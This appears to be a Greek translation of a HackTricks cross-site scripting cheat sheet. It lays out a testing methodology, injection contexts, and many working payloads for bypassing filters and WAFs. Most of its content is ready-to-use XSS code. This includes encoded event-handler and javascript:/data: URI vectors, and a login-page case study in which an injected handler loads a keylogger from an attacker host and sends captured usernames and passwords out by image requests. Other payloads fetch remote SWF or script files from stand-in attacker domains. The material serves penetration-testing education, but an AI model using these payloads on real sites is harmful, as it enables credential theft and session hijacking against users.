%.*s
XSS (Cross Site Scripting)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Μεθοδολογία
- Ελέγξτε αν οποιαδήποτε τιμή που ελέγχετε (parameters, path, headers?, cookies?) αντανακλάται στο HTML ή χρησιμοποιείται από JS κώδικα.
- Βρείτε το πλαίσιο όπου αντανακλάται/χρησιμοποιείται.
- If reflected
- Ελέγξτε ποια σύμβολα μπορείτε να χρησιμοποιήσετε και ανάλογα προετοιμάστε το payload:
- Στο raw HTML:
- Μπορείτε να δημιουργήσετε νέα HTML tags;
<img , <iframe , <svg , <script… αυτά είναι μόνο μερικά από τα πιθανά HTML tags που μπορείτε να χρησιμοποιήσετε. - Μπορείτε να χρησιμοποιήσετε events ή attributes που υποστηρίζουν το
javascript:protocol; - Μπορείτε να παρακάμψετε προστασίες;
- Ερμηνεύεται το HTML περιεχόμενο από κάποια client side JS engine (AngularJS, VueJS, Mavo…); θα μπορούσατε να εκμεταλλευτείτε ένα Client Side Template Injection.
- Αν δεν μπορείτε να δημιουργήσετε HTML tags που εκτελούν JS κώδικα, μπορείτε να εκμεταλλευτείτε ένα Dangling Markup - HTML scriptless injection;
- Μέσα σε ένα HTML tag:
- Μπορείτε να εξέλθετε στο raw HTML πλαίσιο;
- Μπορείτε να δημιουργήσετε νέα events/attributes για να εκτελέσετε JS κώδικα;
- Το attribute όπου είστε περιορισμένοι υποστηρίζει εκτέλεση JS;
- Μπορείτε να παρακάμψετε προστασίες;
- Μέσα σε JavaScript code:
- Μπορείτε να διαφύγετε από το
<script>tag; - Μπορείτε να διαφύγετε από το string και να εκτελέσετε διαφορετικό JS code;
- Η είσοδός σας βρίσκεται σε template literals ``;
- Μπορείτε να παρακάμψετε προστασίες;
- Javascript function που εκτελείται
- Μπορείτε να υποδείξετε το όνομα της function που θα εκτελεστεί. π.χ.:
?callback=alert(1) - If used:
- Μπορείτε να εκμεταλλευτείτε ένα DOM XSS, προσέξτε πώς ελέγχεται η είσοδός σας και αν η ελεγχόμενη είσοδός σας χρησιμοποιείται από κάποιο sink.
Όταν δουλεύετε πάνω σε ένα πολύπλοκο XSS ίσως σας ενδιαφέρει να δείτε:
Αντανακλώμενες τιμές
Για να εκμεταλλευτείτε επιτυχώς ένα XSS το πρώτο που πρέπει να βρείτε είναι μια τιμή που ελέγχετε και αντανακλάται στη σελίδα.
- Intermediately reflected: Αν βρείτε ότι η τιμή ενός parameter ή ακόμα και του path αντανακλάται στη σελίδα, μπορείτε να εκμεταλλευτείτε ένα Reflected XSS.
- Stored and reflected: Αν βρείτε ότι μια τιμή που ελέγχετε αποθηκεύεται στον server και αντανακλάται κάθε φορά που επισκέπτεστε μια σελίδα, μπορείτε να εκμεταλλευτείτε ένα Stored XSS.
- Accessed via JS: Αν βρείτε ότι μια τιμή που ελέγχετε προσπελαύνεται χρησιμοποιώντας JS, μπορείτε να εκμεταλλευτείτε ένα DOM XSS.
Contexts
Όταν προσπαθείτε να εκμεταλλευτείτε ένα XSS το πρώτο που πρέπει να γνωρίζετε είναι πού αντανακλάται η είσοδός σας. Ανάλογα με το πλαίσιο, θα μπορείτε να εκτελέσετε αυθαίρετο JS κώδικα με διαφορετικούς τρόπους.
Raw HTML
Αν η είσοδός σας αντανακλάται στο raw HTML της σελίδας θα χρειαστεί να εκμεταλλευτείτε κάποιο HTML tag για να εκτελέσετε JS κώδικα: <img , <iframe , <svg , <script … αυτά είναι μόνο μερικά από τα πολλά HTML tags που μπορείτε να χρησιμοποιήσετε.
Επίσης, λάβετε υπόψη το Client Side Template Injection.
Inside HTML tags attribute
Αν η είσοδός σας αντανακλάται μέσα στην τιμή του attribute ενός tag μπορείτε να δοκιμάσετε:
- Να ξεφύγετε από το attribute και από το tag (τότε θα βρεθείτε στο raw HTML) και να δημιουργήσετε νέο HTML tag για να το εκμεταλλευτείτε:
"><img [...] - Αν μπορείτε να ξεφύγετε από το attribute αλλά όχι από το tag (
>κωδικοποιείται ή διαγράφεται), ανάλογα με το tag μπορείτε να δημιουργήσετε ένα event που εκτελεί JS κώδικα:" autofocus onfocus=alert(1) x=" - Αν δεν μπορείτε να ξεφύγετε από το attribute (
"κωδικοποιείται ή διαγράφεται), τότε ανάλογα σε ποιο attribute αντανακλάται η τιμή σας και αν ελέγχετε ολόκληρη την τιμή ή μόνο ένα μέρος, θα μπορείτε να το εκμεταλλευτείτε. Για παράδειγμα, αν ελέγχετε ένα event όπωςonclick=θα μπορείτε να το κάνετε να εκτελέσει αυθαίρετο κώδικα όταν γίνει click. Ένα άλλο ενδιαφέρον παράδειγμα είναι το attributehref, όπου μπορείτε να χρησιμοποιήσετε τοjavascript:protocol για να εκτελέσετε αυθαίρετο κώδικα:href="javascript:alert(1)" - Αν η είσοδός σας αντανακλάται σε “unexpoitable tags” μπορείτε να δοκιμάσετε το κόλπο του
accesskeyγια να εκμεταλλευτείτε την ευπάθεια (θα χρειαστεί κάποιος social engineering για να το ενεργοποιήσετε):" accesskey="x" onclick="alert(1)" x="
Attribute-only login XSS behind WAFs
A corporate SSO login page reflected the OAuth service parameter inside the href attribute of <a id="forgot_btn" ...>. Even though < and > were HTML-encoded, double quotes were not, so the attacker could close the attribute and reuse the same element to inject handlers such as " onfocus="payload" x=".
- Inject the handler: Simple payloads like
onclick="print(1)"were blocked, but the WAF only inspected the first JavaScript statement in inline attributes. Prefixing a harmless expression wrapped in parentheses, then a semicolon, allowed the real payload to execute:onfocus="(history.length);malicious_code_here". - Auto-trigger it: Browsers focus any element whose
idmatches the fragment, so appending#forgot_btnto the exploit URL forces the anchor to focus on page load and runs the handler without requiring a click. - Keep the inline stub tiny: The target already shipped jQuery. The handler only needed to bootstrap a request via
$.getScript(...)while the full keylogger lived on the attacker’s server.
Building strings without quotes
Τα μονά εισαγωγικά επέστρεφαν URL-encoded και τα escaped double quotes κατέστρεφαν το attribute, οπότε το payload δημιούργησε κάθε string με String.fromCharCode. Μια βοηθητική λειτουργία διευκολύνει τη μετατροπή οποιουδήποτε URL σε char codes πριν το επικολλήσετε στο attribute:
function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))
Ένα attribute που προέκυψε έμοιαζε ως εξής:
onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"
Γιατί αυτό κλέβει διαπιστευτήρια
Το εξωτερικό script (φορτωμένο από attacker-controlled host ή Burp Collaborator) προσέδεσε το document.onkeypress, αποθήκευσε τα πλήκτρα σε buffer, και κάθε δευτερόλεπτο έκανε new Image().src = collaborator_url + keys. Επειδή το XSS ενεργοποιείται μόνο για μη αυθεντικοποιημένους χρήστες, η ευαίσθητη ενέργεια είναι η ίδια η φόρμα σύνδεσης — ο attacker keylogs usernames και passwords ακόμα κι αν το θύμα δεν πατήσει ποτέ “Login”.
Παράξενο παράδειγμα του Angular που εκτελεί XSS αν ελέγχεις ένα class name:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Μέσα σε JavaScript κώδικα
Σε αυτή την περίπτωση, η είσοδός σας αντικατοπτρίζεται ανάμεσα σε <script> [...] </script> ετικέτες μιας HTML σελίδας, σε ένα αρχείο .js ή σε ένα attribute που χρησιμοποιεί το πρωτόκολλο javascript::
- Αν αντικατοπτρίζεται ανάμεσα σε
<script> [...] </script>ετικέτες, ακόμη και αν η είσοδός σας είναι μέσα σε οποιοδήποτε είδος εισαγωγικών, μπορείτε να δοκιμάσετε να εγχύσετε</script>και να διαφύγετε από αυτό το context. Αυτό λειτουργεί επειδή ο browser θα πρώτα κάνει parse τις HTML ετικέτες και μετά το περιεχόμενο, επομένως δεν θα παρατηρήσει ότι το εγχυμένο</script>tag βρίσκεται μέσα στον HTML κώδικα. - Αν αντικατοπτρίζεται μέσα σε JS string και το προηγούμενο κόλπο δεν λειτουργεί, θα χρειαστεί να βγείτε από το string, εκτελέσετε τον κώδικά σας και ανακατασκευάσετε τον JS κώδικα (αν υπάρξει οποιοδήποτε σφάλμα, δεν θα εκτελεστεί:
'-alert(1)-'';-alert(1)//\';alert(1)//- Αν αντικατοπτρίζεται μέσα σε template literals μπορείτε να ενσωματώσετε JS εκφράσεις χρησιμοποιώντας τη σύνταξη
${ ... }:var greetings = `Hello, ${alert(1)}` - Unicode encode λειτουργεί για να γράψετε valid javascript code:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting references the opportunity to δηλώσεις συναρτήσεις, μεταβλητές ή κλάσεις αφού ήδη έχουν χρησιμοποιηθεί, ώστε να εκμεταλλευτείς σενάρια όπου ένα XSS χρησιμοποιεί μη δηλωμένες μεταβλητές ή συναρτήσεις.\ Δες την ακόλουθη σελίδα για περισσότερες πληροφορίες:
Javascript Function
Πολλές ιστοσελίδες έχουν endpoints που δέχονται ως παράμετρο το όνομα της συνάρτησης που θα εκτελεστεί. Ένα κοινό παράδειγμα που βλέπεις στην πράξη είναι κάτι σαν: ?callback=callbackFunc.
Ένας καλός τρόπος να διαπιστώσεις αν κάτι που δόθηκε απευθείας από τον χρήστη προσπαθεί να εκτελεστεί είναι τροποποιώντας την τιμή της παραμέτρου (για παράδειγμα σε ‘Vulnerable’) και κοιτάζοντας στο console για σφάλματα όπως:
.png)
Σε περίπτωση που είναι ευάλωτο, μπορείς να ενεργοποιήσεις ένα alert απλά στέλνοντας την τιμή: ?callback=alert(1). Ωστόσο, είναι πολύ συνηθισμένο αυτά τα endpoints να επαληθεύουν το περιεχόμενο ώστε να επιτρέπουν μόνο γράμματα, αριθμούς, τελείες και underscores ([\w\._]).
Ωστόσο, ακόμη και με αυτόν τον περιορισμό είναι ακόμα δυνατό να εκτελέσεις ορισμένες ενέργειες. Αυτό συμβαίνει επειδή μπορείς να χρησιμοποιήσεις αυτούς τους έγκυρους χαρακτήρες για να αποκτήσεις πρόσβαση σε οποιοδήποτε στοιχείο του DOM:
.png)
Μερικές χρήσιμες συναρτήσεις για αυτό:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
Μπορείτε επίσης να δοκιμάσετε να trigger Javascript functions απευθείας: obj.sales.delOrders.
Ωστόσο, συνήθως τα endpoints που εκτελούν την ενδεικνυόμενη function είναι endpoints χωρίς πολύ ενδιαφέρον DOM, other pages in the same origin θα έχουν ένα more interesting DOM για να πραγματοποιήσουν περισσότερες ενέργειες.
Επομένως, για να abuse this vulnerability in a different DOM αναπτύχθηκε η εκμετάλλευση Same Origin Method Execution (SOME):
SOME - Same Origin Method Execution
DOM
Υπάρχει JS code που χρησιμοποιεί unsafely κάποια data controlled by an attacker όπως location.href. Ένας attacker θα μπορούσε να το εκμεταλλευτεί για να εκτελέσει αυθαίρετο JS code.
Universal XSS
Αυτός ο τύπος XSS μπορεί να βρεθεί οπουδήποτε. Δεν εξαρτώνται μόνο από την εκμετάλλευση στο client μιας web εφαρμογής αλλά από οποιοδήποτε context. Αυτός ο τύπος arbitrary JavaScript execution μπορεί ακόμη να χρησιμοποιηθεί για απόκτηση RCE, για read arbitrary files σε clients και servers, και άλλα.
Κάποια examples:
WAF bypass encoding image
.jpg)
Injecting inside raw HTML
Όταν η είσοδός σας ανακλάται inside the HTML page ή μπορείτε να διαφύγετε και να inject HTML code σε αυτό το context, το πρώτο που πρέπει να κάνετε είναι να ελέγξετε αν μπορείτε να εκμεταλλευτείτε το < για να δημιουργήσετε νέες tags: Απλώς δοκιμάστε να reflect αυτόν τον char και ελέγξτε αν γίνεται HTML encoded ή deleted ή αν ανακλάται χωρίς αλλαγές. Μόνο στην τελευταία περίπτωση θα μπορέσετε να εκμεταλλευτείτε αυτή την περίπτωση.
Για αυτές τις περιπτώσεις επίσης keep in mind Client Side Template Injection.
Σημείωση: A HTML comment can be closed using****-->****or **--!>**
Σε αυτή την περίπτωση και αν δεν χρησιμοποιείται black/whitelisting, μπορείτε να χρησιμοποιήσετε payloads όπως:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
Αλλά, εάν χρησιμοποιείται black/whitelisting για tags/attributes, θα χρειαστεί να κάνετε brute-force για να βρείτε ποια tags μπορείτε να δημιουργήσετε.
Μόλις έχετε εντοπίσει ποια tags επιτρέπονται, θα χρειαστεί να κάνετε brute-force στα attributes/events μέσα στα έγκυρα tags που βρήκατε για να δείτε πώς μπορείτε να επιτεθείτε στο context.
Brute-force για Tags/Events
Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn’t discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).
Προσαρμοσμένα tags
Αν δεν βρήκατε κανένα έγκυρο HTML tag, μπορείτε να προσπαθήσετε να δημιουργήσετε ένα custom tag και να εκτελέσετε JS κώδικα με το attribute onfocus. Στο XSS request, πρέπει να τελειώσετε το URL με # για να κάνετε τη σελίδα να εστιάσει σε αυτό το αντικείμενο και να εκτελέσει τον κώδικα:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
Αν χρησιμοποιείται κάποιος τύπος blacklist, μπορείς να προσπαθήσεις να τον bypass με μερικά χαζά κόλπα:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Length bypass (small XSSs)
[!NOTE] > Περισσότερα tiny XSS για διαφορετικά περιβάλλοντα payload can be found here and here.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
Το τελευταίο χρησιμοποιεί 2 unicode χαρακτήρες που επεκτείνονται σε 5: telsr
Περισσότεροι από αυτούς τους χαρακτήρες μπορούν να βρεθούν here.
Για να ελέγξετε σε ποιους χαρακτήρες αποσυντίθεται δείτε here.
Click XSS - Clickjacking
Αν, για να εκμεταλλευτείτε την ευπάθεια, χρειάζεται ο χρήστης να κάνει κλικ σε έναν σύνδεσμο ή σε μια φόρμα με προγεμισμένα δεδομένα, μπορείτε να προσπαθήσετε να abuse Clickjacking (εφόσον η σελίδα είναι ευάλωτη).
Αδύνατο - Dangling Markup
Αν θεωρείτε ότι είναι αδύνατο να δημιουργήσετε ένα HTML tag με ένα attribute που να εκτελεί JS code, θα πρέπει να ελέγξετε Danglig Markup γιατί μπορεί να καταφέρετε να exploit την ευπάθεια χωρίς να εκτελέσετε JS code.
Εισαγωγή μέσα σε HTML tag
Μέσα στο tag/διαφυγή από attribute value
Αν βρίσκεστε μέσα σε ένα HTML tag, το πρώτο που μπορείτε να δοκιμάσετε είναι να δραπετεύσετε από το tag και να χρησιμοποιήσετε μερικές από τις τεχνικές που αναφέρονται στην previous section για να εκτελέσετε JS code.
Αν δεν μπορείτε να δραπετεύσετε από το tag, μπορείτε να δημιουργήσετε νέα attributes μέσα στο tag για να προσπαθήσετε να εκτελέσετε JS code, για παράδειγμα χρησιμοποιώντας κάποιο payload όπως (note that in this example double quotes are use to escape from the attribute, you won’t need them if your input is reflected directly inside the tag):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Συμβάντα στυλ
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Μέσα στο attribute
Ακόμα και αν δεν μπορείτε να ξεφύγετε από το attribute (" κωδικοποιείται ή διαγράφεται), ανάλογα με ποιο attribute αντικατοπτρίζεται η τιμή σας και αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος της, θα μπορείτε να το καταχραστείτε. Για παράδειγμα, αν ελέγχετε ένα event όπως onclick= θα μπορείτε να το κάνετε να εκτελέσει αυθαίρετο κώδικα όταν γίνει κλικ.
Ένα ακόμα ενδιαφέρον παράδειγμα είναι το attribute href, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο javascript: για να εκτελέσετε αυθαίρετο κώδικα: href="javascript:alert(1)"
Bypass inside event using HTML encoding/URL encode
Οι HTML encoded characters μέσα στην τιμή των attributes των HTML tags αποκωδικοποιούνται κατά την εκτέλεση. Επομένως κάτι σαν το παρακάτω θα είναι έγκυρο (το payload είναι με έντονη γραφή): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
Σημειώστε ότι οποιοσδήποτε τύπος HTML encode είναι έγκυρος:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Σημειώστε ότι το URL encode θα λειτουργήσει επίσης:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Bypass μέσα σε event χρησιμοποιώντας Unicode encode
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Ειδικά Πρωτόκολλα μέσα στο attribute
Εκεί μπορείτε να χρησιμοποιήσετε τα πρωτόκολλα javascript: ή data: σε ορισμένα σημεία για να εκτελέσετε αυθαίρετο κώδικα JS. Κάποια θα απαιτούν αλληλεπίδραση χρήστη, άλλα όχι.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Μέρη όπου μπορείτε να εισάγετε αυτά τα πρωτόκολλα
Γενικά το πρωτόκολλο javascript: μπορεί να χρησιμοποιηθεί σε οποιοδήποτε tag που δέχεται το attribute href και σε τις περισσότερες ετικέτες που δέχονται το attribute src (αλλά όχι <img>)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Άλλες τεχνικές απόκρυψης
Σε αυτή την περίπτωση το HTML encoding και το Unicode encoding trick από την προηγούμενη ενότητα ισχύουν επίσης καθώς βρίσκεστε μέσα σε attribute.
<a href="javascript:var a=''-alert(1)-''">
Επιπλέον, υπάρχει ένα ακόμη ωραίο κόλπο για αυτές τις περιπτώσεις: Ακόμα κι αν το input σου μέσα στο javascript:... είναι URL encoded, θα είναι URL decoded πριν εκτελεστεί. Άρα, αν χρειάζεσαι να escape από το string χρησιμοποιώντας ένα single quote και βλέπεις ότι it’s being URL encoded, να θυμάσαι ότι δεν έχει σημασία, θα ερμηνευτεί ως single quote κατά τη διάρκεια της εκτέλεσης.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Σημειώστε ότι αν προσπαθήσετε να χρησιμοποιήσετε και τα δύο URLencode + HTMLencode με οποιαδήποτε σειρά για να κωδικοποιήσετε το payload, αυτό δεν θα λειτουργήσει, αλλά μπορείτε να τα αναμείξετε μέσα στο payload.
Χρήση Hex και Octal encode με javascript:
Μπορείτε να χρησιμοποιήσετε Hex και Octal encode μέσα στο src attribute του iframe (τουλάχιστον) για να δηλώσετε HTML tags to execute JS:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
Εάν μπορείτε να εισάγετε οποιοδήποτε URL σε ένα αυθαίρετο <a href= tag που περιέχει τα attributes target="_blank" and rel="opener", ελέγξτε την επόμενη σελίδα για να εκμεταλλευτείτε αυτή τη συμπεριφορά:
on Event Handlers Bypass
Πρώτα απ’ όλα ελέγξτε αυτή τη σελίδα (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) για χρήσιμα “on” event handlers.
Σε περίπτωση που υπάρχει κάποια blacklist που σας αποτρέπει από το να δημιουργήσετε αυτούς τους event handlers, μπορείτε να δοκιμάσετε τα παρακάτω bypasses:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS σε “Unexploitable tags” (hidden input, link, canonical, meta)
Από here πλέον είναι δυνατό να γίνει κατάχρηση των hidden inputs με:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
Και σε meta tags:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
Από here: Μπορείτε να εκτελέσετε ένα XSS payload inside a hidden attribute, εφόσον μπορείτε να πείσετε τον victim να πατήσει τον συνδυασμό πλήκτρων. Σε Firefox (Windows/Linux) ο συνδυασμός πλήκτρων είναι ALT+SHIFT+X και σε OS X είναι CTRL+ALT+X. Μπορείτε να ορίσετε διαφορετικό συνδυασμό πλήκτρων χρησιμοποιώντας άλλο πλήκτρο στο access key attribute. Εδώ είναι το vector:
<input type="hidden" accesskey="X" onclick="alert(1)">
Το XSS payload θα είναι κάτι σαν το εξής: " accesskey="x" onclick="alert(1)" x="
Blacklist Bypasses
Διάφορα κόλπα που χρησιμοποιούν διαφορετική κωδικοποίηση έχουν ήδη παρουσιαστεί σε αυτή την ενότητα. Επιστρέψτε για να μάθετε πού μπορείτε να χρησιμοποιήσετε:
- HTML encoding (HTML tags)
- Unicode encoding (can be valid JS code):
\u0061lert(1) - URL encoding
- Hex and Octal encoding
- data encoding
Bypasses for HTML tags and attributes
Διαβάστε την Blacklist Bypasses of the previous section.
Bypasses for JavaScript code
Διαβάστε την JavaScript bypass blacklist of the following section.
CSS-Gadgets
If you found a XSS in a very small part of the web that requires some kind of interaction (maybe a small link in the footer with an onmouseover element), you can try to modify the space that element occupies to maximize the probabilities of have the link fired.
For example, you could add some styling in the element like: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
But, if the WAF is filtering the style attribute, you can use CSS Styling Gadgets, so if you find, for example
.test {display:block; color: blue; width: 100%}
and
#someid {top: 0; font-family: Tahoma;}
Now you can modify our link and bring it to the form
<a href=“” id=someid class=test onclick=alert() a=“”>
This trick was taken from https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Injecting inside JavaScript code
Σε αυτές τις περιπτώσεις η input σας θα αντανακλάται μέσα στον JS κώδικα ενός .js file ή ανάμεσα σε <script>...</script> tags ή ανάμεσα σε HTML events που μπορούν να εκτελέσουν JS code ή ανάμεσα σε attributes που δέχονται το javascript: protocol.
Escaping <script> tag
If your code is inserted within <script> [...] var input = 'reflected data' [...] </script> you could easily escape closing the <script> tag:
</script><img src=1 onerror=alert(document.domain)>
Σημειώστε ότι σε αυτό το παράδειγμα δεν έχουμε καν κλείσει το single quote. Αυτό συμβαίνει επειδή HTML parsing is performed first by the browser, που περιλαμβάνει την αναγνώριση στοιχείων της σελίδας, συμπεριλαμβανομένων blocks of script. Η ανάλυση της JavaScript για να κατανοήσει και να εκτελέσει τα ενσωματωμένα scripts γίνεται μόνο αργότερα.
Μέσα στον JS κώδικα
If <> are being sanitised you can still escape the string where your input is being located and execute arbitrary JS. It’s important to fix JS syntax, because if there are any errors, the JS code won’t be executed:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
Όταν τα δεδομένα εισόδου χρήστη προσγειώνονται μέσα σε ένα quoted JavaScript string (π.χ., server-side echo into an inline script), μπορείτε να τερματίσετε το string, να εισάγετε κώδικα και να επιδιορθώσετε τη σύνταξη ώστε η ανάλυση να παραμείνει έγκυρη. Γενικός σκελετός:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
Παράδειγμα προτύπου URL όταν η ευάλωτη παράμετρος αντικατοπτρίζεται σε μια JS string:
?param=test";<INJECTION>;a="
Αυτό εκτελεί attacker JS χωρίς να χρειαστεί να αγγίξει το HTML context (pure JS-in-JS). Συνδύασέ το με τα blacklist bypasses παρακάτω όταν τα φίλτρα μπλοκάρουν keywords.
Template literals ``
Για να κατασκευάσεις strings, εκτός από single και double quotes, το JS δέχεται επίσης backticks ``. Αυτό είναι γνωστό ως template literals καθώς επιτρέπουν embedded JS expressions χρησιμοποιώντας τη σύνταξη ${ ... }.
